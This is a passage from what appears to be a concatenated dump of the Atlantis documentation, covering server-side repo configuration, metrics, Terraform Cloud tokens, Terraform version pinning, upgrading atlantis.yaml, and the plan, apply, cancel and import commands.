[TeamAuthz](#teamauthz)                               | none      | no       | Configuration of team permission checking                                             |\n\n::: tip A Note On Defaults\n\n#### `repos`\n\n`repos` always contains a first element with the Atlantis default config:\n\n```yaml\nrepos:\n- id: /.*/\n  branch: /.*/\n  plan_requirements: []\n  apply_requirements: []\n  import_requirements: []\n  workflow: default\n  allowed_overrides: []\n  allow_custom_workflows: false\n```\n\n#### `workflows`\n\n`workflows` always contains the Atlantis default workflow under the key `default`:\n\n```yaml\nworkflows:\n  default:\n    plan:\n      steps: [init, plan]\n    apply:\n      steps: [apply]\n```\n\nThis gets merged with whatever config you write.\nIf you set a workflow with the key `default`, it will override this.\n:::\n\n### Repo\n\n| Key                           | Type                    | Default         | Required | Description                                                                                                                                                                                                                                                                                               |\n|-------------------------------|-------------------------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| id                            | string                  | none            | yes      | Value can be a regular expression when specified as /&lt;regex&gt;/ or an exact string match. Repo IDs are of the form `{vcs hostname}/{org}/{name}`, ex. `github.com/owner/repo`. Hostname is specified without scheme or port. For Bitbucket Server, {org} is the **name** of the project, not the key. |\n| branch                        | string                  | none            | no       | An regex matching pull requests by base branch (the branch the pull request is getting merged into). By default, all branches are matched                                                                                                                                                                 |\n| repo_config_file              | string                  | none            | no       | Repo config file path in this repo. By default, use `atlantis.yaml` which is located on repository root. When multiple atlantis servers work with the same repo, please set different file names.                                                                                                         |\n| workflow                      | string                  | none            | no       | A custom workflow.                                                                                                                                                                                                                                                                                        |\n| plan_requirements             | []string                | none            | no       | Requirements that must be satisfied before `atlantis plan` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details.                                                                   |\n| apply_requirements            | []string                | none            | no       | Requirements that must be satisfied before `atlantis apply` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details.                                                                  |\n| import_requirements           | []string                | none            | no       | Requirements that must be satisfied before `atlantis import` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details.                                                                 |\n| allowed_overrides             | []string                | none            | no       | A list of restricted keys that `atlantis.yaml` files can override. The only supported keys are `apply_requirements`, `workflow`, `delete_source_branch_on_merge`,`repo_locking`, `repo_locks`, and `custom_policy_check`                                                                                  |\n| allowed_workflows             | []string                | none            | no       | A list of workflows that `atlantis.yaml` files can select from.                                                                                                                                                                                                                                           |\n| allow_custom_workflows        | bool                    | false           | no       | Whether or not to allow [Custom Workflows](custom-workflows.md).                                                                                                                                                                                                                                        |\n| delete_source_branch_on_merge | bool                    | false           | no       | Whether or not to delete the source branch on merge.                                                                                                                                                                                                                                                      |\n| repo_locking                  | bool                    | false           | no       | (deprecated) Whether or not to get a lock.                                                                                                                                                                                                                                                                |\n| repo_locks                    | [RepoLocks](#repolocks) | `mode: on_plan` | no       | Whether or not repository locks are enabled for this project on plan or apply. See [RepoLocks](#repolocks) for more details.                                                                                                                                                                              |\n| policy_check                  | bool                    | false           | no       | Whether or not to run policy checks on this repository.                                                                                                                                                                                                                                                   |\n| custom_policy_check           | bool                    | false           | no       | Whether or not to enable custom policy check tools outside of Conftest on this repository.                                                                                                                                                                                                                |\n| autodiscover                  | AutoDiscover            | none            | no       | Auto discover settings for this repo                                                                                                                                                                                                                                                                      |\n| silence_pr_comments           | []string                | none            | no       | Silence PR comments from defined stages while preserving PR status checks. Useful in large environments with many Atlantis instances and/or projects, when the comments are too big and too many, therefore it is preferable to rely solely on PR status checks. Supported values are: `plan`, `apply`.   |\n\n:::tip Notes\n\n* If multiple repos match, the last match will apply.\n* If a key isn't defined, it won't override a key that matched from above.\n  For example, given a repo ID `github.com/owner/repo` and a config:\n\n  ```yaml\n  repos:\n  - id: /.*/\n    allow_custom_workflows: true\n    apply_requirements: [approved]\n  - id: github.com/owner/repo\n    apply_requirements: []\n  ```\n\n  The final config will look like:\n\n  ```yaml\n  apply_requirements: []\n  workflow: default\n  allowed_overrides: []\n  allow_custom_workflows: true\n  ```\n\n  Where\n  * `apply_requirements` is set from the `id: github.com/owner/repo` config because\n    it overrides the previous matching config from `id: /.*/`.\n  * `workflow` is set from the default config that always\n    exists.\n  * `allowed_overrides` is set from the default config that always\n    exists.\n  * `allow_custom_workflows` is set from the `id: /.*/` config and isn't unset\n    by the `id: github.com/owner/repo` config because it didn't define that key.\n:::\n\n### RepoLocks\n\n```yaml\nmode: on_apply\n```\n\n| Key  | Type   | Default   | Required | Description                                                                                                                           |\n|------|--------|-----------|----------|---------------------------------------------------------------------------------------------------------------------------------------|\n| mode | `Mode` | `on_plan` | no       | Whether or not repository locks are enabled for this project on plan or apply. Valid values are `disabled`, `on_plan` and `on_apply`. |\n\n### Policies\n\n| Key                    | Type            | Default | Required  | Description                                              |\n|------------------------|-----------------|---------|-----------|----------------------------------------------------------|\n| conftest_version       | string          | none    | no        | conftest version to run all policy sets                  |\n| owners                 | Owners(#Owners) | none    | yes       | owners that can approve failing policies                 |\n| approve_count          | int             | 1       | no        | number of approvals required to bypass failing policies. |\n| policy_sets            | []PolicySet     | none    | yes       | set of policies to run on a plan output                  |\n\n### Owners\n\n| Key         | Type              | Default | Required   | Description                                             |\n|-------------|-------------------|---------|------------|---------------------------------------------------------|\n| users       | []string          | none    | no         | list of github users that can approve failing policies  |\n| teams       | []string          | none    | no         | list of github teams that can approve failing policies  |\n\n### PolicySet\n\n| Key                  | Type   | Default | Required | Description                                                                                                   |\n| ------               | ------ | ------- | -------- | --------------------------------------------------------------------------------------------------------------|\n| name                 | string | none    | yes      | unique name for the policy set                                                                                |\n| path                 | string | none    | yes      | path to the rego policies directory                                                                           |\n| source               | string | none    | yes      | only `local` is supported at this time                                                                        |\n| prevent_self_approve | bool   | false   | no       | Whether or not the author of PR can approve policies. Defaults to `false` (the author must also be in owners) |\n\n### Metrics\n\n| Key                    | Type                      | Default | Required  | Description                              |\n|------------------------|---------------------------|---------|-----------|------------------------------------------|\n| statsd                 | [Statsd](#statsd)         | none    | no        | Statsd metrics provider                  |\n| prometheus             | [Prometheus](#prometheus) | none    | no        | Prometheus metrics provider              |\n\n### Statsd\n\n| Key    | Type   | Default | Required | Description                            |\n| ------ | ------ | ------- | -------- | -------------------------------------- |\n| host   | string | none    | yes      | statsd host ip address                 |\n| port   | string | none    | yes      | statsd port                            |\n\n### Prometheus\n\n| Key      | Type   | Default | Required | Description                            |\n| -------- | ------ | ------- | -------- | -------------------------------------- |\n| endpoint | string | none    | yes      | path to metrics endpoint               |\n\n### TeamAuthz\n\n| Key     | Type     | Default | Required | Description                                 |\n|---------|----------|---------|----------|---------------------------------------------|\n| command | string   | none    | yes      | full path to external authorization command |\n| args    | []string | none    | no       | optional arguments to pass to `command`     |\n"
  },
  {
    "path": "runatlantis.io/docs/stats.md",
    "content": "# Metrics/Stats\n\nAtlantis exposes a set of metrics for each of its operations including errors, successes, and latencies.\n\n::: warning NOTE\nCurrently Statsd and Prometheus is supported. See configuration below for details.\n:::\n\n## Configuration\n\nMetrics are configured through the [Server Side Config](server-side-repo-config.md#metrics).\n\n## Available Metrics\n\nAssuming metrics are exposed from the endpoint `/metrics` from the [metrics](server-side-repo-config.md#metrics) server side config e.g.\n\n```yaml\nmetrics:\n  prometheus:\n    endpoint: \"/metrics\"\n```\n\nTo see all the metrics exposed from atlantis service, make a GET request to the `/metrics` endpoint.\n\n```bash\ncurl localhost:4141/metrics\n# HELP atlantis_cmd_autoplan_builder_execution_error atlantis_cmd_autoplan_builder_execution_error counter\n# TYPE atlantis_cmd_autoplan_builder_execution_error counter\natlantis_cmd_autoplan_builder_execution_error 0\n# HELP atlantis_cmd_autoplan_builder_execution_success atlantis_cmd_autoplan_builder_execution_success counter\n# TYPE atlantis_cmd_autoplan_builder_execution_success counter\natlantis_cmd_autoplan_builder_execution_success 10\n# HELP atlantis_cmd_autoplan_builder_execution_time atlantis_cmd_autoplan_builder_execution_time summary\n# TYPE atlantis_cmd_autoplan_builder_execution_time summary\natlantis_cmd_autoplan_builder_execution_time{quantile=\"0.5\"} NaN\natlantis_cmd_autoplan_builder_execution_time{quantile=\"0.75\"} NaN\natlantis_cmd_autoplan_builder_execution_time{quantile=\"0.95\"} NaN\natlantis_cmd_autoplan_builder_execution_time{quantile=\"0.99\"} NaN\natlantis_cmd_autoplan_builder_execution_time{quantile=\"0.999\"} NaN\natlantis_cmd_autoplan_builder_execution_time_sum 11.42403017\natlantis_cmd_autoplan_builder_execution_time_count 10\n.....\n.....\n.....\n```\n\n::: tip NOTE\nThe output shown above is trimmed, since with every new version release this metric set will need to be updated accordingly as there may be a case if some metrics are added/modified/deprecated, so the output shown above just gives a brief idea of how these metrics look like and rest can be explored.\n:::\n\nImportant metrics to monitor are\n\n| Metric Name                                    | Metric Type                                                          | Purpose                                                                             |\n|------------------------------------------------|----------------------------------------------------------------------|-------------------------------------------------------------------------------------|\n| `atlantis_cmd_autoplan_execution_error`        | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when [autoplan](autoplanning.md#autoplanning) has thrown error.     |\n| `atlantis_cmd_comment_plan_execution_error`    | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis plan` has thrown error.                |\n| `atlantis_cmd_autoplan_execution_success`      | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when [autoplan](autoplanning.md#autoplanning) has run successfully. |\n| `atlantis_cmd_comment_apply_execution_error`   | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis apply` has thrown error.               |\n| `atlantis_cmd_comment_apply_execution_success` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when on commenting `atlantis apply` has run successfully.           |\n\n::: tip NOTE\nThere are plenty of additional metrics exposed by atlantis that are not described above.\n:::\n"
  },
  {
    "path": "runatlantis.io/docs/streaming-logs.md",
    "content": "# Real-time logs\n\nAtlantis supports streaming terraform logs in real time by default. Currently, only two commands are supported\n\n* atlantis plan\n* atlantis apply\n\n::: warning\nNot all custom workflow outputs and other terraform commands are supported. Support for terragrunt has been added, see examples in [Custom Workflows](./custom-workflows.md#terragrunt).\n:::\n\nIn order to view real-time terraform logs, a user can navigate through the *details* section of a given project's plan or apply status check.\n\n![Plan Command](./images/plan.png)\n\nThis will link to the Atlantis UI which provides real-time logging in addition to native terraform syntax highlighting.\n\n![Plan Output](./images/plan_output.png)\n\n::: warning\nAs of now the logs are currently stored in memory and cleared when a given pull request is closed, so this link shouldn't be persisted anywhere.\n:::\n"
  },
  {
    "path": "runatlantis.io/docs/terraform-cloud.md",
    "content": "# Terraform Cloud/Enterprise\n\n::: tip NOTE\nTerraform Enterprise was [recently renamed](https://www.hashicorp.com/blog/introducing-terraform-cloud-remote-state-management) Terraform Cloud\nand Private Terraform Enterprise was renamed Terraform Enterprise.\n:::\n\nAtlantis integrates seamlessly with Terraform Cloud and Terraform Enterprise, whether you're using:\n\n* [Free Remote State Management](https://app.terraform.io)\n* Terraform Cloud Paid Tiers\n* A Private Installation of Terraform Enterprise\n\nRead the docs below :point_down: depending on your use-case.\n\n## Using Atlantis With Free Remote State Storage\n\nTo use Atlantis with Free Remote State Storage, you need to:\n\n1. Migrate your state to Terraform Cloud. See [Migrating State from Local Terraform](https://developer.hashicorp.com/terraform/cloud-docs/migrate)\n1. Update any projects that are referencing the state you migrated to use the new location\n1. [Generate a Terraform Cloud/Enterprise Token](#generating-a-terraform-cloud-enterprise-token)\n1. [Pass the token to Atlantis](#passing-the-token-to-atlantis)\n\nThat's it! Atlantis will run as normal and your state will be stored in Terraform\nCloud.\n\n## Using Atlantis With Terraform Cloud Remote Operations or Terraform Enterprise\n\nAtlantis integrates with the full version of Terraform Cloud and Terraform Enterprise\nvia the [remote backend](https://developer.hashicorp.com/terraform/language/settings/backends/remote).\n\nAtlantis will run `terraform` commands as usual, however those commands will\nactually be executed *remotely* in Terraform Cloud or Terraform Enterprise.\n\n### Why?\n\nUsing Atlantis with Terraform Cloud or Terraform Enterprise gives you access to features like:\n\n* Real-time streaming output\n* Ability to cancel in-progress commands\n* Secret variables\n* [Sentinel](https://www.hashicorp.com/sentinel)\n\n**Without** having to change your pull request workflow.\n\n### Getting Started\n\nTo use Atlantis with Terraform Cloud Remote Operations or Terraform Enterprise, you need to:\n\n1. Migrate your state to Terraform Cloud/Enterprise. See [Migrating State from Local Terraform](https://developer.hashicorp.com/terraform/cloud-docs/migrate)\n1. Update any projects that are referencing the state you migrated to use the new location\n1. [Generate a Terraform Cloud/Enterprise Token](#generating-a-terraform-cloud-enterprise-token)\n1. [Pass the token to Atlantis](#passing-the-token-to-atlantis)\n\n## Generating a Terraform Cloud/Enterprise Token\n\nAtlantis needs a Terraform Cloud/Enterprise Token that it will use to access the API.\nUsing a **Team Token is recommended**, however you can also use a User Token.\n\n### Team Token\n\nTo generate a team token, click on **Settings** in the top bar, then **Teams** in\nthe sidebar.\nChoose an existing team or create a new one.\nEnable the **Manage Workspaces** permission, then scroll down to **Team API Token**.\n\n### User Token\n\nTo generate a user token, click on your avatar, then **User Settings**, then\n**Tokens** in the sidebar.\nEnsure the **Manage Workspaces** permission is enabled for this user's team.\n\n## Passing The Token To Atlantis\n\nThe token can be passed to Atlantis via the `ATLANTIS_TFE_TOKEN` environment variable.\n\nYou can also use the `--tfe-token` flag, however your token would then be easily\nviewable in the process list.\n\nIf you're hosting your own Terraform Enterprise installation, set the `--tfe-hostname`\nflag to its hostname.\n\nThat's it! Atlantis should be able to perform Terraform operations using Terraform Cloud/Enterprise's\nremote state backend now.\n\n:::warning\nIf you're using local execution mode for your workspaces, remember to set the\n`--tfe-local-execution-mode`. Otherwise you won't see the logs in Atlantis.\n\n:::warning\nThe Terraform Cloud/Enterprise integration only works with the built-in\n`plan` and `apply` steps. It does not work with custom `run` steps that replace\nplan or apply.\n:::\n\n:::tip NOTE\nUnder the hood, Atlantis is generating a `~/.terraformrc` file.\nIf you already had a `~/.terraformrc` file where Atlantis is running,\n then you'll need to manually\nadd the credentials block to that file:\n\n```hcl\n...\ncredentials \"app.terraform.io\" {\n  token = \"xxxx\"\n}\n```\n\ninstead of using the `ATLANTIS_TFE_TOKEN` environment variable, since Atlantis\nwon't overwrite your `.terraformrc` file.\n:::\n"
  },
  {
    "path": "runatlantis.io/docs/terraform-versions.md",
    "content": "# Terraform Versions\n\nYou can customize which version of Terraform Atlantis defaults to by setting\nthe `--default-tf-version` flag (ex. `--default-tf-version=v1.3.7`).\n\n## Via `atlantis.yaml`\n\nIf you wish to use a different version than the default for a specific repo or project, you need\nto create an `atlantis.yaml` file and set the `terraform_version` key:\n\n```yaml\nversion: 3\nprojects:\n- dir: .\n  terraform_version: v1.1.5\n```\n\nSee [atlantis.yaml Use Cases](repo-level-atlantis-yaml.md#terraform-versions) for more details.\n\n## Via terraform config\n\nAlternatively, one can use the terraform configuration block's `required_version` key to specify an exact version (`x.y.z` or `= x.y.z`), or as of [atlantis v0.21.0](https://github.com/runatlantis/atlantis/releases/tag/v0.21.0), a comparison or pessimistic [version constraint](https://developer.hashicorp.com/terraform/language/expressions/version-constraints#version-constraint-syntax):\n\n### Exactly version 1.2.9\n\n```tf\nterraform {\n  required_version = \"= 1.2.9\"\n}\n```\n\n### Any patch/tiny version of minor version 1.2 (1.2.z)\n\n```tf\nterraform {\n  required_version = \"~> 1.2.0\"\n}\n```\n\n### Any minor version of major version 1 (1.y.z)\n\n```tf\nterraform {\n  required_version = \"~> 1.2\"\n}\n```\n\n### Any version that is at least 1.2.0\n\n```tf\nterraform {\n  required_version = \">= 1.2.0\"\n}\n```\n\nSee [Terraform `required_version`](https://developer.hashicorp.com/terraform/language/terraform#terraform-required_version) for reference.\n\n::: tip NOTE\nAtlantis will automatically download the latest version that fulfills the constraint specified.\nA `terraform_version` specified in the `atlantis.yaml` file takes precedence over both the [`--default-tf-version`](server-configuration.md#default-tf-version) flag and the `required_version` in the terraform hcl.\n:::\n\n::: tip NOTE\nThe Atlantis [latest docker image](https://github.com/runatlantis/atlantis/pkgs/container/atlantis/9854680?tag=latest) tends to have recent versions of Terraform, but there may be a delay as new versions are released. The highest version of Terraform allowed in your code is the version specified by `DEFAULT_TERRAFORM_VERSION` in the image your server is running.\n:::\n"
  },
  {
    "path": "runatlantis.io/docs/troubleshooting-https.md",
    "content": "# HTTPS, SSL, TLS\n\nWhen using a self-signed certificate for Atlantis (with flags `--ssl-cert-file` and `--ssl-key-file`),\nthere are a few considerations.\n\nAtlantis uses the web server from the standard Go library,\nthe method name is [ListenAndServeTLS](https://pkg.go.dev/net/http#ListenAndServeTLS).\n\n`ListenAndServeTLS` acts identically to [ListenAndServe](https://pkg.go.dev/net/http#ListenAndServe),\nexcept that it expects HTTPS connections.\nAdditionally, files containing a certificate and matching private key for the server must be provided.\nIf the certificate is signed by a certificate authority,\nthe file passed to `--ssl-cert-file` should be the concatenation of the server's certificate, any intermediates, and the CA's certificate.\n\nIf you have this error when specifying a TLS cert with a key:\n\n```plain\n[ERROR] server.go:413 server: Tls: private key does not match public key\n```\n\nCheck that the locally signed certificate authority is prepended to the self-signed certificate.\nA good example is shown at [Seth Vargo terraform implementation of atlantis-on-gke](https://github.com/sethvargo/atlantis-on-gke/blob/master/terraform/tls.tf#L64-L84)\n\nFor Go specific TLS resources have a look at the repository by [denji called golang-tls](https://github.com/denji/golang-tls).\n\nFor a complete explanation on PKI, read this [article](https://smallstep.com/blog/everything-pki.html).\n"
  },
  {
    "path": "runatlantis.io/docs/upgrading-atlantis-yaml.md",
    "content": "# Upgrading atlantis.yaml\n\n## Upgrading From v2 To v3\n\nAtlantis version `v0.7.0` introduced a new version 3 of `atlantis.yaml`.\n\n**If you're not using [custom `run` steps](custom-workflows.md#custom-run-command),\n then you can upgrade from `version: 2` to `version: 3` without any changes.**\n\n**NOTE:** Version 2 **is not being deprecated** and there is no need to upgrade your version\nif you don't wish to do so.\n\nThe only change from v2 to v3 is that we're parsing custom `run` steps differently.\n\n```yaml\n# atlantis.yaml\nworkflows:\n  custom:\n    plan:\n      steps:\n      - run: my custom command\n```\n\n<center><i>An example workflow using a custom run step</i></center>\n\nPreviously, we used a library that would parse the custom step prior to running\nit. Now, we just run the step directly. This will only affect your steps if they were using shell escaping of some sort.\nFor example, if your step was previously:\n\n```yaml\n# version: 2\n- run: \"printf \\'print me\\'\"\n```\n\nYou can now write this in version 3 as:\n\n```yaml\n# version: 3\n- run: \"printf 'print me'\"\n```\n\n## Upgrading From V1 To V3\n\nIf you are upgrading from an **old** Atlantis version `<=v0.3.10` (from before July 4, 2018)\nyou'll need to follow the following steps.\n\n### Single atlantis.yaml\n\nIf you had multiple `atlantis.yaml` files per directory then you'll need to\nconsolidate them into a single `atlantis.yaml` file at the root of the repo.\n\nFor example, if you had a directory structure:\n\n```plain\n.\n├── project1\n│   └── atlantis.yaml\n└── project2\n    └── atlantis.yaml\n```\n\nThen your new structure would look like:\n\n```plain\n.\n├── atlantis.yaml\n├── project1\n└── project2\n```\n\nAnd your `atlantis.yaml` would look something like:\n\n```yaml\nversion: 2\nprojects:\n- dir: project1\n  terraform_version: my-version\n  workflow: project1-workflow\n- dir: project2\n  terraform_version: my-version\n  workflow: project2-workflow\nworkflows:\n  project1-workflow:\n    ...\n  project2-workflow:\n    ...\n```\n\nWe will talk more about `workflows` below.\n\n### Terraform Version\n\nThe `terraform_version` key moved from being a top-level key to being per `project`\nso if before your `atlantis.yaml` was in directory `mydir` and looked like:\n\n```yaml\nterraform_version: 0.11.0\n```\n\nThen your new config would be:\n\n```yaml\nversion: 2\nprojects:\n- dir: mydir\n  terraform_version: 0.11.0\n```\n\n### Workflows\n\nWorkflows are the new way to set all `pre_*`, `post_*` and `extra_arguments`.\n\nEach `project` can have a custom workflow via the `workflow` key.\n\n```yaml\nversion: 2\nprojects:\n- dir: .\n  workflow: myworkflow\n```\n\nWorkflows are defined as a top-level key:\n\n```yaml\nversion: 2\nprojects:\n...\n\nworkflows:\n  myworkflow:\n  ...\n```\n\nTo start with, determine whether you're customizing commands that happen during\n`plan` or `apply`. You then set that key under the workflow's name:\n\n```yaml\n...\nworkflows:\n  myworkflow:\n    plan:\n      steps:\n      ...\n    apply:\n      steps:\n      ...\n```\n\nIf you're not customizing a specific stage then you can omit that key. For example\nif you're only customizing the commands that happen during `plan` then your config\nwill look like:\n\n```yaml\n...\nworkflows:\n  myworkflow:\n    plan:\n      steps:\n      ...\n```\n\n#### Extra Arguments\n\n`extra_arguments` is now specified as follows. Given a previous config:\n\n```yaml\nextra_arguments:\n  - command_name: init\n    arguments:\n    - \"-lock=false\"\n  - command_name: plan\n    arguments:\n    - \"-lock=false\"\n  - command_name: apply\n    arguments:\n    - \"-lock=false\"\n```\n\nYour config would now look like:\n\n```yaml\n...\nworkflows:\n  myworkflow:\n    plan:\n      steps:\n      - init:\n          extra_args: [\"-lock=false\"]\n      - plan:\n          extra_args: [\"-lock=false\"]\n    apply:\n      steps:\n      - apply:\n          extra_args: [\"-lock=false\"]\n```\n\n#### Pre/Post Commands\n\nInstead of using `pre_*` or `post_*`, you now can insert your custom commands\nbefore/after the built-in commands. Given a previous config:\n\n```yaml\npre_init:\n  commands:\n  - \"curl http://example.com\"\n# pre_get commands are run when the Terraform version is < 0.9.0\npre_get:\n  commands:\n  - \"curl http://example.com\"\npre_plan:\n  commands:\n  - \"curl http://example.com\"\npost_plan:\n  commands:\n  - \"curl http://example.com\"\npre_apply:\n  commands:\n  - \"curl http://example.com\"\npost_apply:\n  commands:\n  - \"curl http://example.com\"\n```\n\nYour config would now look like:\n\n```yaml\n...\nworkflows:\n  myworkflow:\n    plan:\n      steps:\n      - run: curl http://example.com\n      - init\n      - plan\n      - run: curl http://example.com\n    apply:\n      steps:\n      - run: curl http://example.com\n      - apply\n      - run: curl http://example.com\n```\n\n::: tip\nIt's important to include the built-in commands: `init`, `plan` and `apply`.\nOtherwise Atlantis won't run the necessary commands to actually plan/apply.\n:::\n"
  },
  {
    "path": "runatlantis.io/docs/using-atlantis.md",
    "content": "# Using Atlantis\n\nAtlantis triggers commands via pull request comments.\n![Help Command](./images/pr-comment-help.png)\n\n::: tip\nYou can use the following executable names.\n\n* `atlantis help`\n  * `atlantis` is executable name. You can configure by [Executable Name](server-configuration.md#executable-name).\n* `run help`\n  * `run` is a global executable name.\n* `@GithubUser help`\n  * `@GithubUser` is the VCS host user which you connected to Atlantis by user token.\n:::\n\nCurrently, Atlantis supports the following commands.\n\n---\n\n## atlantis help\n\n```bash\natlantis help\n```\n\n### Explanation\n\nView help\n\n---\n\n## atlantis version\n\n```bash\natlantis version\n```\n\n### Explanation\n\nPrint the output of 'terraform version'.\n\n---\n\n## atlantis plan\n\n```bash\natlantis plan [options] -- [terraform plan flags]\n```\n\n### Explanation\n\nRuns `terraform plan` on the pull request's branch. You may wish to re-run plan after Atlantis has already done\nso if you've changed some resources manually.\n\n### Examples\n\n```bash\n# Runs plan for any projects that Atlantis thinks were modified.\n# If an `atlantis.yaml` file is specified, runs plan on the projects that\n# were modified as determined by the `when_modified` config.\natlantis plan\n\n# Runs plan in the root directory of the repo with workspace `default`.\natlantis plan -d .\n\n# Runs plan in the `project1` directory of the repo with workspace `default`\natlantis plan -p project1\n\n# Runs plan in the root directory of the repo with workspace `staging`\natlantis plan -w staging\n```\n\n### Options\n\n* `-d directory` Which directory to run plan in relative to root of repo. Use `.` for root.\n  * Ex. `atlantis plan -d child/dir`\n* `-p project` Which project to run plan for. Refers to the name of the project configured in the repo's [`atlantis.yaml` file](repo-level-atlantis-yaml.md). Cannot be used at same time as `-d` or `-w` because the project defines this already.\n* `-w workspace` Switch to this [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) before planning. Defaults to `default`. Ignore this if Terraform workspaces are unused.\n* `--verbose` Append Atlantis log to comment.\n\n::: warning NOTE\nAn `atlantis plan` (without flags), like autoplans, discards all plans previously created with `atlantis plan` `-p`/`-d`/`-w`\n:::\n\n### Additional Terraform flags\n\nIf `terraform plan` requires additional arguments, like `-target=resource` or `-var 'foo=bar'` or `-var-file myfile.tfvars`\nyou can append them to the end of the comment after `--`, ex.\n\n```shell\natlantis plan -d dir -- -var foo='bar'\n```\n\nIf you always need to append a certain flag, see [Custom Workflow Use Cases](custom-workflows.md#adding-extra-arguments-to-terraform-commands).\n\n### Automatic Environment Variable Files\n\nAtlantis automatically includes workspace-specific variable files if they exist in your repository. This feature helps reduce duplication across different environments and workspaces.\n\n#### How it works\n\nWhen running `atlantis plan`, Atlantis automatically checks for a file at `env/{workspace}.tfvars` relative to the project directory. If this file exists, Atlantis will automatically include it using the `-var-file` flag.\n\n#### Examples\n\n```plain\nmy-terraform-project/\n├── main.tf\n├── variables.tf\n└── env/\n    ├── default.tfvars\n    ├── staging.tfvars\n    └── production.tfvars\n```\n\nWhen you run:\n\n* `atlantis plan` (uses default workspace) automatically includes `env/default.tfvars`\n* `atlantis plan -w staging` automatically includes `env/staging.tfvars`\n* `atlantis plan -w production` automatically includes `env/production.tfvars`\n\n::: tip\nThis feature works for any workspace name. If you have a custom workspace called `dev-team-1`, Atlantis will look for `env/dev-team-1.tfvars`.\n:::\n\n### Using the -destroy Flag\n\n#### Example\n\nTo perform a destructive plan that will destroy resources you can use the `-destroy` flag like this:\n\n```bash\natlantis plan -- -destroy\natlantis plan -d dir -- -destroy\n```\n\n::: warning NOTE\nThe `-destroy` flag generates a destroy plan. If this plan is applied it can result in data loss or service disruptions. Ensure that you have thoroughly reviewed your Terraform configuration and intend to remove the specified resources before using this flag.\n:::\n\n---\n\n## atlantis apply\n\n```bash\natlantis apply [options] -- [terraform apply flags]\n```\n\n### Explanation\n\nRuns `terraform apply` for the plan that matches the directory/project/workspace.\n\n::: tip\nIf no directory/project/workspace is specified, ex. `atlantis apply`, this command will apply **all unapplied plans from this pull request**.\nThis includes all projects that have been planned manually with `atlantis plan` `-p`/`-d`/`-w` since the last autoplan or `atlantis plan` command.\nFor Atlantis commands to work,  Atlantis needs to know the location where the plan file is. For that, you can use $PLANFILE which will contain the path of the plan file to be used in your custom steps. i.e `terraform plan -out $PLANFILE`\n:::\n\n### Examples\n\n```bash\n# Runs apply for all unapplied plans from this pull request.\natlantis apply\n\n# Runs apply in the root directory of the repo with workspace `default`.\natlantis apply -d .\n\n# Runs apply in the `project1` directory of the repo with workspace `default`\natlantis apply -p project1\n\n# Runs apply in the root directory of the repo with workspace `staging`\natlantis apply -w staging\n```\n\n### Options\n\n* `-d directory` Apply the plan for this directory, relative to root of repo. Use `.` for root.\n* `-p project` Apply the plan for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml` file](repo-level-atlantis-yaml.md). Cannot be used at same time as `-d` or `-w`.\n* `-w workspace` Apply the plan for this [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces). Ignore this if Terraform workspaces are unused.\n* `--auto-merge-disabled` Disable [automerge](automerging.md) for this apply command.\n* `--auto-merge-method method` Specify which [merge method](automerging.md#how-to-set-the-merge-method-for-automerge) use for the apply command if [automerge](automerging.md) is enabled. Implemented only for GitHub.\n* `--verbose` Append Atlantis log to comment.\n\n### Additional Terraform flags\n\nBecause Atlantis under the hood is running `terraform apply plan.tfplan`, any Terraform options that would change the `plan` are ignored, ex:\n\n* `-target=resource`\n* `-var 'foo=bar'`\n* `-var-file=myfile.tfvars`\n\nThey're ignored because they can't be specified for an already generated planfile.\nIf you would like to specify these flags, do it while running `atlantis plan`.\n\n::: tip\nThe automatic `env/{workspace}.tfvars` file inclusion happens during the `atlantis plan` phase. Since `atlantis apply` uses the already-generated plan file, any environment-specific variables are already incorporated from when the plan was created.\n:::\n\n---\n\n## Atlantis cancel\n\n```bash\natlantis cancel\n```\n\n### Explanation\n\nCancels all **queued commands** for the current pull request.\n\n::: warning NOTE\nThis command **does not** attempt to stop or interrupt commands that are already running. It only removes subsequent commands that are waiting in the queue. There is currently no mechanism in Atlantis to interrupt the currently running process.\n:::\n\nThis is useful if you have multiple commands queued (e.g., atlantis apply for several projects) and you realize you made a mistake in your PR. Using cancel prevents the queued plans from executing. Especially with long-running operations, this can save time and resources.\n\n### Examples\n\n```bash\n# An apply is currently running, and another is queued.\n# This command will cancel the queued apply but not the running one.\natlantis cancel\n```\n\n---\n\n## atlantis import\n\n```bash\natlantis import [options] ADDRESS ID -- [terraform import flags]\n```\n\n### Explanation\n\nRuns `terraform import` that matches the directory/project/workspace.\nThis command discards the terraform plan result. After an import and before an apply, another `atlantis plan` must be run again.\n\nTo allow the `import` command requires [--allow-commands](server-configuration.md#allow-commands) configuration.\n\n### Examples\n\n```bash\n# Runs import\natlantis import ADDRESS ID\n\n# Runs import in the root directory of the repo with workspace `default`\natlantis import -d . ADDRESS ID\n\n# Runs import in the `project1` directory of the repo with workspace `default`\natlantis import -p project1 ADDRESS ID\n\n# Runs import in the root directory of the repo with workspace `staging`\natlantis import -w staging ADDRESS ID\n```\n\n::: tip\n\n* When importing `for_each` resources, a single quoted address is required.\n  * ex. `atlantis import 'aws_instance.example[\"foo\"]' i-1234567890abcdef0`\n:::\n\n### Options\n\n* `-d directory` Import a resource for this directory, relative to root of repo. Use `.` for root.\n* `-p project` Import a resource for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml`](repo-level-atlantis-yaml.md) repo configuration file. This cannot be used at the same time as `-d` or `-w`.\n* `-w workspace` Import a resource for a specific [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces). Ignore this if Terraform workspaces are unused.\n\n### Additional Terraform flags\n\nIf `terraform import` requires additional arguments, like `-var 'foo=bar'` or `-var-file myfile.tfvars`\nappend them to the end of the comment after `--`, 